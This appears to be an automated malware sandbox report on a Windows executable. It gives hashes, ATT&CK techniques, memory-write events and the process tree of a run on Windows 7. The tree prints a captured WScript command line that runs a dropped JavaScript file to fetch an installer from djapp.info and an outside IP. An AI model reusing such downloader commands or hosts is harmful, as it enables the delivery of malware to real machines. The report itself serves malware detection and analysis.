0ee7da586b301f44589dc7b8f9588328959a269ee4da18cb7b7b7eaf99be81de

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
17/05/2024, 16:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe
Size

184KB
MD5

50528fb8125b10da92af9a65ebf4b554
SHA1

3824c6e779b84fe2c42c9e5db91333a43a8381a8
SHA256

0ee7da586b301f44589dc7b8f9588328959a269ee4da18cb7b7b7eaf99be81de
SHA512

e5786dfb0899a49d1537a93592718ada66f09c36a6b90fb05c9c45bddf3709550486031c416c9a412962438ab1b972f3ab4d83b85020477fa82c76403f102d6c
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3KO:/7BSH8zUB+nGESaaRvoB7FJNndntO

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1700	WScript.exe
8	1700	WScript.exe
10	1700	WScript.exe
12	2680	WScript.exe
13	2680	WScript.exe
15	2740	WScript.exe
16	2740	WScript.exe
18	2000	WScript.exe
19	2000	WScript.exe
21	1876	WScript.exe
22	1876	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1288 wrote to memory of 1700	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	28
PID 1288 wrote to memory of 1700	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	28
PID 1288 wrote to memory of 1700	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	28
PID 1288 wrote to memory of 1700	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	28
PID 1288 wrote to memory of 2680	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2680	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2680	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2680	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2740	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2740	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2740	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2740	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2000	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	34
PID 1288 wrote to memory of 2000	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	34
PID 1288 wrote to memory of 2000	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	34
PID 1288 wrote to memory of 2000	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	34
PID 1288 wrote to memory of 1876	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	36
PID 1288 wrote to memory of 1876	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	36
PID 1288 wrote to memory of 1876	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	36
PID 1288 wrote to memory of 1876	1288	50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\50528fb8125b10da92af9a65ebf4b554_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1046.js" http://www.djapp.info/?domain=NBLDJajiSo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1046.exe
  2⤵
  - Blocklisted process makes network request
  PID:1700
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1046.js" http://www.djapp.info/?domain=NBLDJajiSo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1046.exe
  2⤵
  - Blocklisted process makes network request
  PID:2680
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1046.js" http://www.djapp.info/?domain=NBLDJajiSo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1046.exe
  2⤵
  - Blocklisted process makes network request
  PID:2740
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1046.js" http://www.djapp.info/?domain=NBLDJajiSo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1046.exe
  2⤵
  - Blocklisted process makes network request
  PID:2000
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1046.js" http://www.djapp.info/?domain=NBLDJajiSo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1046.exe
  2⤵
  - Blocklisted process makes network request
  PID:1876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
a93121ae32cd488369d25acff1c165d3

SHA1
215bc2d389f9738d938d045a24381f42fc72ce31

SHA256
7d381e836d548532725e2c04e7c98077ca91a29ff936b175c1d692bdbf64c78d

SHA512
b31a7d150fb2a185fe3e4d537e04f8835e19907d2d258aaf6b77a5aa03469804ad7d9cf66784bfd2b68dc00880345b68b93df12d744bd1df6c42a4fb20a698f7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
5e8799a682eb379a781d0918157cca64

SHA1
1628516f54d175a23b0dc01095f86185838d9651

SHA256
9f3bc214fb772638f23ed4727d717e30a462d2b50ee8ae9fce6a483abf735ee5

SHA512
3eecf9a6e6b618c9a5ae0b9dbd66cdfbb533a74886866744e4888e9429ec6eea863a9b9cc1fe64e3e84b85daca776ed9783302419dd5f6e254b343ceaa142869

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
fddd2820b47b8319a6934ab1868b7664

SHA1
3ad3501dce3b6f723be363a0d99a243ff6b08450

SHA256
0d28a6cee7524ea4cb7803a091b0be2a871f84206d5090080869acffd37115f5

SHA512
bc94b9020839a7422e32889aa8fe26e9dbb528fda0fc738c8bc42a514be3f53aaf7ae945dcf26a6cef4d22501844ef2491e33b281aae861d3e051da3a343d2d6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
dcd02f4b26595c2bc183b1e7cbb2be34

SHA1
aedcd59e01e3fadf3e13b5ce824e1244705d3d6d

SHA256
250fcf5042e04b80498be532982661bf05b5c68fb0cb036bcd02e19f704315b2

SHA512
badac5ed63112718074c3e8197df16c6999f36f58acd5b67261c4928e2cef3f71cecb81a13976a9add8f7549e8badd06d3418c8ed20c5ede23f72f11b7256ee8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
6KB

MD5
68753ff19cf7bf1cd0b7f8de19d5439f

SHA1
997c442f6b511a8d44d823227b75347f1d8cfeef

SHA256
f7eeb7731a0773a1f27fafee6f0a92f6356e48f7c5be54f1f87bb8d00e4f3d2b

SHA512
88cb53fa975e49447f482b8fbf173c3cb2c3704131f4fb067439f17234116c71cc403c64b76e0c47b55b66f2ce2a53ce3e94f8cedbaba96b2e0dd389d348a378

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
6KB

MD5
4b95b97522d0cb8bff06472fb96da8e3

SHA1
ca345c976d13395c5b6391d4cb6a08423d2f8e80

SHA256
785cb8959982a867a5df14a1cf6c3cf15f5c648a9a7529738afde34d9e3e1bcc

SHA512
4358079f8b4d6b3f809ab41988a653b4c6be20d30d1040ef2128fbd59040b9b3b71cec88c70b177315e35c5659adc97ee7ec959b1f503dae247bed441c16a635

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
6KB

MD5
988879f97cdc648fc369496ac79ca729

SHA1
0fcfd6858d964c2b4b65d5090171489b7cd24405

SHA256
af3c188da4a3d4392760334b6753f83a4a21956a9a2b81480f20b03714b4c92b

SHA512
f508afcc1ed0decdb37dab20b2485c71576ab755425212305f7b4508ec28c9277c6cf8dcda9011af32564bef10dd2e8daf0a278af8fae1f9b2a2836f6d559168

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
6KB

MD5
6fa4f468fdeb4a26554ce611d71ed128

SHA1
5117f4320279fc6cbb165162564b8671ad1e4b05

SHA256
c6b6e24642d5bba1c7ee420f2225aff93a9e52ee0a1c92f0daa2c59cfcbd23fb

SHA512
dfcc56e0bb837d47241a77c6490e0cb14b47d9be0e9a0de2a46b9a086a0eae49e25339492a76b3091a46d13b58237212197609d96573f9c8eb35d4f18f481855

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab3FBE.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5977.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1046.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\X1S71JYG.txt

Filesize
175B

MD5
923fe1752225d19df237a98180f61fdd

SHA1
47a1cefaa35e9cb2ce891671c16dc61d6872604d

SHA256
606a780e3c2dc85829e5ff80519e2262570a9b7a32d6a4307d52775b5e34c27a

SHA512
33c064e5f36bc744a889af405981d51bff59a0c37c7488e3ba9bd8a7603e1db6f77ef9c559b3812e9f27e75a50f1b744b7ccd805341185cd2ce78c76802e2a73

Download Submit